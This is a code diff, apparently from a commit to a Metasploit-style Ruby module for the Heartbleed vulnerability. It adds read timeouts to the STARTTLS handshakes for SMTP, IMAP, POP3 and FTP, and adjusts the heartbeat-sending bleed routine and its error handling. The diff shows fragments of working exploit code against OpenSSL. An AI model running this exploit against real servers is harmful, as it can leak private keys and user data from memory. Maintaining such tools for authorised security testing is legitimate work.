@@ -194,39 +194,39 @@ def response_timeout
194
194
195
195
def tls_smtp
196
196
# https://tools.ietf.org/html/rfc3207
197
- sock . get_once
197
+ sock . get_once ( - 1 , response_timeout )
198
198
sock . put ( "EHLO #{ Rex ::Text . rand_text_alpha ( 10 ) } \r \n " )
199
- res = sock . get_once
199
+ res = sock . get_once ( - 1 , response_timeout )
200
200
201
201
unless res && res =~ /STARTTLS/
202
202
return nil
203
203
end
204
204
sock . put ( "STARTTLS\r \n " )
205
- sock . get_once
205
+ sock . get_once ( - 1 , response_timeout )
206
206
end
207
207
208
208
def tls_imap
209
209
# http://tools.ietf.org/html/rfc2595
210
- sock . get_once
210
+ sock . get_once ( - 1 , response_timeout )
211
211
sock . put ( "a001 CAPABILITY\r \n " )
212
- res = sock . get_once
212
+ res = sock . get_once ( - 1 , response_timeout )
213
213
unless res && res =~ /STARTTLS/i
214
214
return nil
215
215
end
216
216
sock . put ( "a002 STARTTLS\r \n " )
217
- sock . get_once
217
+ sock . get_once ( - 1 , response_timeout )
218
218
end
219
219
220
220
def tls_pop3
221
221
# http://tools.ietf.org/html/rfc2595
222
- sock . get_once
222
+ sock . get_once ( - 1 , response_timeout )
223
223
sock . put ( "CAPA\r \n " )
224
- res = sock . get_once
224
+ res = sock . get_once ( - 1 , response_timeout )
225
225
if res . nil? || res =~ /^-/ || res !~ /STLS/
226
226
return nil
227
227
end
228
228
sock . put ( "STLS\r \n " )
229
- res = sock . get_once
229
+ res = sock . get_once ( - 1 , response_timeout )
230
230
if res . nil? || res =~ /^-/
231
231
return nil
232
232
end
@@ -270,7 +270,7 @@ def tls_ftp
270
270
res = sock . get ( response_timeout )
271
271
return nil if res . nil?
272
272
sock . put ( "AUTH TLS\r \n " )
273
- res = sock . get_once
273
+ res = sock . get_once ( - 1 , response_timeout )
274
274
return nil if res . nil?
275
275
if res !~ /^234/
276
276
# res contains the error message
@@ -297,10 +297,12 @@ def run_host(ip)
297
297
298
298
def bleed ( )
299
299
# This actually performs the heartbleed portion
300
- return :timeout if ( establish_connect ) == :timeout
300
+ connect_result = establish_connect
301
+ return :timeout if ( connect_result ) == :timeout
302
+
301
303
vprint_status ( "#{ peer } - Sending Heartbeat..." )
302
304
sock . put ( heartbeat ( heartbeat_length ) )
303
- hdr = sock . get_once ( 5 )
305
+ hdr = sock . get_once ( 5 , response_timeout )
304
306
if hdr . blank?
305
307
vprint_error ( "#{ peer } - No Heartbeat response..." )
306
308
return
@@ -313,7 +315,7 @@ def bleed()
313
315
314
316
# try to get the TLS error
315
317
if type == ALERT_RECORD_TYPE
316
- res = sock . get_once ( len )
318
+ res = sock . get_once ( len , response_timeout )
317
319
alert_unp = res . unpack ( 'CC' )
318
320
alert_level = alert_unp [ 0 ]
319
321
alert_desc = alert_unp [ 1 ]
@@ -515,7 +517,8 @@ def establish_connect
515
517
516
518
server_hello = sock . get ( response_timeout )
517
519
unless server_hello
518
- vprint_error ( "#{ peer } - No Client Hello response after #{ response_timeout } seconds..." )
520
+ vprint_error ( "#{ peer } - No Server Hello after #{ response_timeout } seconds..." )
521
+ disconnect
519
522
return :timeout
520
523
end
521
524
0 commit comments